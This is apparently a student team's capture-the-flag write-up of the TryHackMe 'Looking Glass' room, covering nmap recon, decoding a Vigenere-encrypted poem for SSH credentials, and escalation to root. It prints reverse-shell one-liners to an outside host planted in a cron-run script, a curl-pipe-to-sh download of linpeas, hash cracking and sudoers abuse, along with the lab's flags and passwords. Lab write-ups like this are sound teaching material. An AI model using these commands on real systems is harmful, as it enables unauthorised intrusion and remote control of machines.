

PSP0201

PENTEST 1

ROOM:

LOOKING

GLASS

WRITE-UP

GROUP NAME : PELITA

ID	Name	Role
1211102057	Muhammad Syahir Nazreen Bin Abdul Hamid	Leader
1211101935	Mohamed Imran Bin Mohamed Yunus	Member
1211103220	Muhammad Firzan Ruzain Bin Firdus	Member
1211102060	Farris Aiman Bin Mohd Harris	Member

LOOKING GLASS

Step: Recon and Enumeration

Members Involved: Imran

Tools used: Kali, Nmap

Thought Process and Methodology and Attempts:

Used nmap to scan the ports.

- -sC to run default scripts
- -sV to enumerate applications versions

Found more then 1000 ports open.

```
1211101935@kali: ~/Desktop/thm/lookingglass
File Actions Edit View Help
(1211101935@kali)-[~]
$ cd /home/1211101935/Desktop/thm/lookingglass/
(1211101935@kali)-[~/Desktop/thm/lookingglass]
$ nmap -sC -sV 10.10.53.218
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 00:35 EDT
Nmap scan report for 10.10.53.218
Host is up (0.22s latency).
Not shown: 916 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3f:15:19:70:35:fd:dd:0d:07:a0:50:a3:7d:fa:10:a0 (RSA)
| 256  a8:67:5c:52:77:02:41:d7:90:e7:ed:32:d2:01:d9:65 (ECDSA)
|_ 256  26:92:59:2d:5e:25:90:89:09:f5:e5:e0:33:81:77:6a (ED25519)
```

While, trying to connect with the SSH servers, some port responded **Higher**, example port 10000. Meanwhile, some port responded **Lower**, example 9500. Tested all port with the clue given (higher and lower), by cutting it down to half based on the clue, we can get the correct port.

```
1211101935@kali: ~/Desktop/thm/lookingglass
File Actions Edit View Help
(1211101935@kali)-[~/Desktop/thm/lookingglass]
$ ssh -oHostKeyAlgorithms+=ssh-rsa -p 10000 test@10.10.53.218
The authenticity of host '[10.10.53.218]:10000 ([10.10.53.218]:10000)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKoZQ700IFsIQ8cf0ZDq2uI8dIK97XGPj0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.53.218]:10000' (RSA) to the list of known hosts.
Higher
Connection to 10.10.53.218 closed.

(1211101935@kali)-[~/Desktop/thm/lookingglass]
$ ssh -oHostKeyAlgorithms+=ssh-rsa -p 9500 test@10.10.53.218
The authenticity of host '[10.10.53.218]:9500 ([10.10.53.218]:9500)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKoZQ700IFsIQ8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.53.218]:9500' (RSA) to the list of known hosts.
Lower
Connection to 10.10.53.218 closed.
```

The correct port is 9805(it will be different for everyone). After getting it, some kind of poem is displayed. By the look of it it could be a hash.

```
1211101935@kali: ~/Desktop/thm/lookingglass
File Actions Edit View Help
Connection to 10.10.53.218 closed.

(1211101935@kali)-[~/Desktop/thm/lookingglass]
$ ssh -oHostKeyAlgorithms=+ssh-rsa -p 9805 test@10.10.53.218
The authenticity of host '[10.10.53.218]:9805 ([10.10.53.218]:9805)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:4: [hashed name]
  ~/.ssh/known_hosts:5: [hashed name]
  ~/.ssh/known_hosts:6: [hashed name]
  ~/.ssh/known_hosts:7: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name]
  ~/.ssh/known_hosts:9: [hashed name]
  ~/.ssh/known_hosts:10: [hashed name]
  ~/.ssh/known_hosts:11: [hashed name]
  (3 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.53.218]:9805' (RSA) to the list of known hosts.
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmj!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'

Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgf wl fp moi Tfbaun xkgm,
Puh jmvds lloimi bp bwvyxaa.

Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
```

At the bottom of the poem it ask to enter a secret? The secret might be inside the hash.
Lets decode it.

```
'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret: Looking Glass
```

Decoding the hash on website <https://guballa.de/vigenere-solver/> . Setting the key length 15-20.

Input

Cipher Text:

```
'Mdes mgplmmz, cvs alv lsmtsn aowil  
Fqs ncix hrd rxtbmi bp bwl arul;  
Elw bpmtc pgzt alv uvvordcet,  
Egf bwl qffl vaewz ovxztigl.  
  
'Fvphve ewl Jbfugzlvgb, ff woy!  
Ioe kepu bwhx sbai, tst jlbal vppa grmj1!  
Bplhrf xag Rjinlu imro, pud tlnp  
Bwl jintmofh Iaohxtachxta!'
```

Cipher Variant:

Classical Vigenere ▾

Language:

English ▾

Key Length:

15-20

(e.g. 8 or a range e.g. 6-10)

Break Cipher

Clear Cipher Text

The result from decoding. It shows the secret.

Result

[Clear text \[hide\]](#)

Clear text using key "thealphabetcipher":

```
come to my arms, my dearish boy:  
O frabjous day! Callooh! Callay!  
He chortled in his joy.  
  
'Twas brillig, and the slithy toves  
Did gyre and gimble in the wabe;  
All mimsy were the borogoves,  
And the mome raths outgrabe.  
Your secret is bewareTheJabberwock
```

After putting in the secret code in the displayed poem, we get the user and the password. (NOTE: the password is different for everyone or may change when the service is diconnected or closed.)

```
'Awbw utqasmx, tuh tst zljxaa bdcij  
Wph gjgl aoh zkuqsi zg ale hpie;  
Bpe oqbzc nxyi tst ioszqdtz,  
Eew ale xdte semja dbxxkhfe.  
Jdbr tivtmi pw sxderpIoeKeudmgdstd  
Enter Secret: Looking Glass  
jabberwock:GardensMostlyExplainingHaddocks  
Connection to 10.10.53.218 closed.
```

Step: Initial Foothold

Members Involved: Farris

Tools used: Kali, netcat

Thought Process and Methodology and Attempts:

Logged in as jabberwock using the given password. Confirmed it with command 'whoami'

```
(1211101935@kali)-[~]  
$ ssh -oHostKeyAlgorithms=+ssh-rsa jabberwock@10.10.53.218  
jabberwock@10.10.53.218's password:  
Last login: Fri Jul 3 03:05:33 2020 from 192.168.170.1  
jabberwock@looking-glass:~$ whoami  
jabberwock  
jabberwock@looking-glass:~$ ^C  
jabberwock@looking-glass:~$
```

Listed files contained inside. Found 2 txt files and 1 reverse shell file.

```
jabberwock@looking-glass:~$ ls  
poem.txt twasBrillig.sh user.txt  
jabberwock@looking-glass:~$
```

Read both txt files. The User.txt shows the flag. using the command 'cat user.txt | rev' it helped reverse the flag.

```
And the home rains outgrade.  
jabberwock@looking-glass:~$ cat user.txt  
{32a911966cab2d643f5d57d9e0173d56{mht  
jabberwock@looking-glass:~$ cat user.txt | rev  
thm{65d3710e9d75d5f346d2bac669119a23}  
jabberwock@looking-glass:~$
```

Took a look at the passwd file, it shows there are few more users. (refer to the last 5 lines from the screenshot)

```
jabberwock@looking-glass:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uidd:x:106:110::/run/uidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tryhackme:x:1000:1000:TryHackMe:/home/tryhackme:/bin/bash
jabberwock:x:1001:1001,,,:/home/jabberwock:/bin/bash
tweedledum:x:1002:1002,,,:/home/tweedledum:/bin/bash
tweedledee:x:1003:1003,,,:/home/tweedledee:/bin/bash
humptydumpty:x:1004:1004,,,:/home/humptydumpty:/bin/bash
alice:x:1005:1005:Alice,,,:/home/alice:/bin/bash
```

We can see that from `sudo -l`, we can reboot.

Also by running `crontab`, we found out by rebooting the bash script `twasBrillig.sh` will run.

So from this we can get into the user by putting our reverse shell into the script file.

```
jabberwock@looking-glass:~$ sudo -l
Matching Defaults entries for jabberwock on looking-glass:
  env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User jabberwock may run the following commands on looking-glass:
  (root) NOPASSWD: /sbin/reboot
jabberwock@looking-glass:~$

jabberwock@looking-glass:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh
jabberwock@looking-glass:~$
```

Step: Horizontal Privilege Escalation

Members Involved: Firzan

Tools used: Kali, netcat, linpeas.sh, python http.server module, curl

Thought Process and Methodology and Attempts:

By using python http.server module we can transfer the tool linpeas.sh to the victim machine

- the http.server is set up on host machine
- by using curl command we can download the file from the host machine

```
(1211103220@kali)-[~]  
$ sudo python -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.252.217 - - [26/Jul/2022 03:20:09] code 404, message File not found  
10.10.252.217 - - [26/Jul/2022 03:20:09] "GET /linpeas.sh HTTP/1.1" 404 -  
10.10.252.217 - - [26/Jul/2022 03:23:25] "GET /linpeas.sh HTTP/1.1" 200 -
```

```
jabberwock@looking-glass:~$ curl 10.8.93.181/linpeas.sh | sh  
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
0 747k    0     0     0      0      0      0  --:--:--  --:--:--  --:--:--    0
```



- By running the linpeas.sh script we can get the ways and information on how to get into root.
- From this run we can see that there is a bash script that is set to run when the system reboot.
- This bash script can be used as a reverse shell to get into the user tweeledum.

```
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Feb 3 2020 .
drwxr-xr-x 91 root root 4096 Jul 26 06:08 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder

/etc/cron.weekly:
total 20
drwxr-xr-x 2 root root 4096 Feb 3 2020 .
drwxr-xr-x 91 root root 4096 Jul 26 06:08 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
-rwxr-xr-x 1 root root 723 Apr 7 2018 man-db
-rwxr-xr-x 1 root root 211 Nov 12 2018 update-notifier-common

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

@reboot tweeledum bash /home/jabberwock/twasBrillig.sh

Systemd PATH
https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

Analyzing .service files
https://book.hacktricks.xyz/linux-unix/privilege-escalation#services
You can't write on systemd PATH

System timers
https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
```


- By modifying the **twasBrillig.sh** file with **reverse shell script** generated by using <https://www.revshells.com/> we can start the **netcat listener** in our host machine.
- By **rebooting** our machine we can run the bash script that we have modified and run the reverse shell script and gain access to the user **tweedledum**.

```
jabberwock@looking-glass:~$ echo "bash -i >& /dev/tcp/10.8.93.181/443 0>&1" > twasBrillig.sh
echo "bash -i >& /dev/tcp/10.8.93.181/443 0>&1" > twasBrillig.sh
jabberwock@looking-glass:~$ ^[[A^[[A^[[A
echo "bash -i >& /dev/tcp/10.8.93.181/443 0>&1" > twasBrillig.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 10.9.17.195 1234 >/tmp/f" >
twasBrillig.sh
jabberwock@looking-glass:~$ cat twas.Brillig
cat twas.Brillig
cat: twas.Brillig: No such file or directory
jabberwock@looking-glass:~$ cat twasBrillig.sh
cat twasBrillig.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 10.9.17.195 1234 >/tmp/f
jabberwock@looking-glass:~$ ^[[A^[[bash -i >& /dev/tcp/10.8.93.181/443 0>&1" > twasBrillig.sh
jabberwock@looking-glass:~$ cp twasBrillig.sh twasBrillig.sh.bak
cp twasBrillig.sh twasBrillig.sh.bak
jabberwock@looking-glass:~$ cat twasBrillig.sh
cat twasBrillig.sh
Command '.cat' not found, but there are 19 similar ones.

jabberwock@looking-glass:~$ ls -l
ls -l
total 28
-rw-rw-r-- 1 jabberwock jabberwock 13 Jul 26 07:32 ok.php
-rw-rw-r-- 1 jabberwock jabberwock 935 Jun 30 2020 poem.txt
-rw-rw-r-- 1 jabberwock jabberwock 5493 Jul 26 07:32 test.php
-rwxrwxr-x 1 jabberwock jabberwock 41 Jul 26 08:00 twasBrillig.sh
-rwxrwxr-x 1 jabberwock jabberwock 41 Jul 26 08:01 twasBrillig.sh.bak
-rw-r--r-- 1 jabberwock jabberwock 38 Jul 3 2020 user.txt
jabberwock@looking-glass:~$ cat twasBrillig.sh
cat twasBrillig.sh
bash -i >& /dev/tcp/10.8.93.181/443 0>&1
jabberwock@looking-glass:~$ sudo /sbin/reboot
sudo /sbin/reboot

(1211103220@kali)-[~]
$
```

```
(1211103220@kali)-[~]
$ sudo nc -lvnp 443
[sudo] password for 1211103220:
listening on [any] 443 ...
connect to [10.8.93.181] from (UNKNOWN) [10.10.252.217] 38562
bash: cannot set terminal process group (884): Inappropriate ioctl for device
bash: no job control in this shell
tweedledum@looking-glass:~$ whoami
whoami
tweedledum
tweedledum@looking-glass:~$
```

- From the user tweedledum we can find there is a file call humptydumpty.txt containing number of hashes. We can crack this by using crackstation.net.
- We can recognize that the last line cannot be cracked as this line is not a hash.
- We can decode this from hex using the Cyberchef tool.

The image shows a terminal window on a Kali Linux machine. The user runs a netcat listener on port 4444, which connects to an IP address 10.10.53.218. The user identifies themselves as 'tweedledum' and lists files in the current directory, finding 'humptydumpty.txt' and 'poem.txt'. They then cat the contents of 'humptydumpty.txt', which displays a list of 16 SHA-256 hashes. After catting 'poem.txt', they run a python3 command to spawn a pty shell for the user 'tweedledum'.

Below the terminal, a web browser window shows the CrackStation website (https://crackstation.net). The browser's address bar and tabs are visible, showing various security-related sites like HackMe, Hack The Box, and Offensive Security Forum.

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

```
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cedcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfcd9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
```

☐ I'm not a robot

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1_bin), QubesV3.1BackupDefaults

Hash	Type	Result
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9	sha256	maybe
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed	sha256	one
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624	sha256	of
b808e156d18d1cedcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f	sha256	these
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfcd9d5d4956416f57f6	sha256	is
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0	sha256	the
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8	sha256	password
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b	Unknown	Not found.

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

The screenshot shows a web application with two main panels. The left panel, titled "Recipe", has a green header "From Hex" and a dropdown menu for "Delimiter" set to "Auto". The right panel, titled "Input", shows a long hexadecimal string: 7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b. Below the input, an "Output" section displays the result: "the password is zyxwvutsrqponmlk". The output section also includes a table with statistics: start: 32, end: 32, length: 0, lines: 1, and time: 3ms.

start	end	length	lines	time
32	32	0	1	3ms

From this we can get the password is **zyxwvutsrqponmlk**

Lastly, we can log into the user **humptydumpty** with the password that we have cracked.

```
They quite forgot their quarrel.  
$ python3 -c "import pty;pty.spawn('/bin/bash')"  
tweedledum@looking-glass:~$ su humptydumpty  
su humptydumpty  
Password: zyxwvutsrqponmlk  
  
humptydumpty@looking-glass:/home/tweedledum$ cd  
cd  
humptydumpty@looking-glass:~$ id  
id  
uid=1004(humptydumpty) gid=1004(humptydumpty) groups=1004(humptydumpty)  
humptydumpty@looking-glass:~$
```

Step: Root Privilege Escalation

Members Involved: Syahir

Tools used: Kali, netcat

Thought Process and Methodology and Attempts:

To simplify, what I did for this part is that from user humptydumpty I want to change to user alice. As I have found a useful file in alice. It took me multiple tries to enter as user alice as I got a lot of denied permission, so I run the **'cat .bashrc'** command

```
humptydumpty@looking-glass:~$ cd ..
cd ..
humptydumpty@looking-glass:/home$ ls
ls
alice humptydumpty jabberwock tryhackme tweedledee tweedledum
humptydumpty@looking-glass:/home$ cd alice
cd alice
humptydumpty@looking-glass:/home/alice$ ls
ls
ls: cannot open directory '.': Permission denied
humptydumpty@looking-glass:/home/alice$ ^[[A
ls
ls: cannot open directory '.': Permission denied
humptydumpty@looking-glass:/home/alice$ cat .bashrc
cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
```

At this point I have already entered as user alice and also have acquired the ECDSA key and permanently added a port. We can see that there is an id_rsa file in the expected .ssh folder, but I also notice that it is owned by our current logged on user humptydumpty. So we can read the contents

```
humptydumpty@looking-glass:/home/tweedledum$ ssh alice@127.0.0.1 -i /home/alice/.ssh/id_rsa
<dum$ ssh alice@127.0.0.1 -i /home/alice/.ssh/id_rsa
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:kaci0m3nKZjBx4DS3cgsQa0DIVv86s9JtZ0m83r1Pu4.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Last login: Fri Jul 3 02:42:13 2020 from 192.168.170.1
alice@looking-glass:~$
```

```
alice@looking-glass:~$ cat /etc/sudoers
cat /etc/sudoers
cat: /etc/sudoers: Permission denied
alice@looking-glass:~$ cat /etc/sudoers.d/alice
cat /etc/sudoers.d/alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
alice@looking-glass:~$ sudo -h ssalg-gnikool /bin/bash
sudo -h ssalg-gnikool /bin/bash
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:~#
```

For this last part I'm trying to gain access to the root file and from the 'ls' command and finally I found the flag in the root.txt file by using the 'cat' command.

```
root@looking-glass:~# ls
ls
kitten.txt
root@looking-glass:~# cd ..
cd ..
root@looking-glass:/home# ls
ls
alice humptydumpty jabberwock tryhackme tweedledee tweedledum
root@looking-glass:/home# cd root
cd root
bash: cd: root: No such file or directory
root@looking-glass:/home# cd
cd
root@looking-glass:~# cd /root
cd /root
root@looking-glass:/root# ls
ls
passwords passwords.sh root.txt the_end.txt
root@looking-glass:/root# cat root.txt
cat root.txt
}f3dae6dec817ad10b750d79f6b7332cb{mht
root@looking-glass:/root# cat root.txt | rev
cat root.txt | rev
thm{bc2337b6f97d057b01da718ced6ead3f}
root@looking-glass:/root#
```

Contribution

ID	NAME	CONTRIBUTION	SIGNATURE
1211101935	Mohamed Imran Bin Mohamed Yunus	Did the Recon and Enumeration process and writing. Screenshot provider.	<i>IMRAN</i>
1211102060	Farris Aiman Bin Mohd Harris	Did the Initial Foothold process and writing. Did the video editing.	<i>FARRIS</i>
1211103220	Muhammad Firzan Ruzain Bin Firdus	Did the Horizontal Privilege Escalation process and writing. Screenshot provider.	<i>FIRZAN</i>
1211102057	Muhammad Syahir Nazreen Bin Abdul Hamid	Did the Root Privilege Escalation process and writing. Food supplier.	<i>SYAHIR</i>